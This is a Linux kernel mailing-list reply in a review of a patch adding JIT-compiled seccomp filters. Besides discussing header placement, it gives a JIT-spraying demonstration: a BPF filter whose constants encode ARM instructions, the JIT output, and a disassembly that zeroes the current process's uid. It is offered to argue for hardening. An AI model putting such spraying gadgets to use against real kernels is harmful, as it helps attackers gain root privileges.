Re: [PATCH RFC 1/3] seccomp: add generic code for jitted seccomp filters.

[Nicolas Schichan <nschichan@freebox.fr>]

On 03/15/2013 08:22 PM, Kees Cook wrote:
> On Fri, Mar 15, 2013 at 12:10 PM, Nicolas Schichan <nschichan@freebox.fr> wrote:
>> On 03/15/2013 07:45 PM, Kees Cook wrote:
>>>
>> Yes, I did not realise that this header was exported to userspace. Do you
>> know any place not exported to userspace where the structure definition
>> would be appropriate ?
>
> Nothing really jumps to mind. :( We should probably do the uapi split,
> so that this can stay here, but the public stuff is in the other file.
> I'm not actually sure what's needed to do that split, though.

Would putting the structure definition in a <linux/seccomp_priv.h> file be 
acceptable ? Or is there some preprocessor macro that could prevent part of an 
include file ending up in uapi (similar to __KERNEL__ or __ASSEMBLY__).

>> Regarding JIT spraying, I believe ARM is actually worse than x86 in that
>> regard, since the values appearing in the literal pool can be quite easily
>> controlled by an attacker.
>
> Yeah, same for x86, really. Masking these would be nice, but is
> probably a separate discussion.

I meant that ARM makes it even easier in that you don't even have to 
interleave the evil immediate between instruction. The instruction sequence 
will appear verbatim in the litteral pool.

For instance the following BPF code:

struct sock_filter code[] = {
	{ BPF_LD, 0, 0, 0xe3a01a02 },
	{ BPF_LD, 0, 0, 0xe2411001 },
	{ BPF_LD, 0, 0, 0xe00d1001 },
	{ BPF_LD, 0, 0, 0xe59111a0 },
	{ BPF_LD, 0, 0, 0xe3a02000 },
	{ BPF_LD, 0, 0, 0xe5812004 },
	{ BPF_LD, 0, 0, 0xe1a0f00e },
	{ BPF_RET, 0, 0, 0 },
};

Produces this ARM code:

BPF JIT code: bf000000: e92d0010 e3a04000 e59f4020 e59f4020
BPF JIT code: bf000010: e59f4020 e59f4020 e59f4020 e59f4020
BPF JIT code: bf000020: e59f4020 e3a00000 e8bd0010 e12fff1e
BPF JIT code: bf000030: e3a01a02 e2411001 e00d1001 e59111a0
BPF JIT code: bf000040: e3a02000 e5812004 e1a0f00e

Parts of which disassembles to (only eye-tested):

	mov	r1, #8192
	sub	r1, r1, #1	 @ r1 = THREAD_SIZE - 1
	and	r1, sp, r1	 @ get current.
	ldr	r1, [r1, #416]	 @ get current->real_cred
	mov	r2, #0
	str	r2, [r1, #4]	 @ store 0 in current->real_cread->uid.
	mov	pc, lr

Userland can insert code to change the uid of the current process quite easily 
in an executable page. The only remaining task is to trick the kernel into 
executing it :)

Regards,

-- 
Nicolas Schichan
Freebox SAS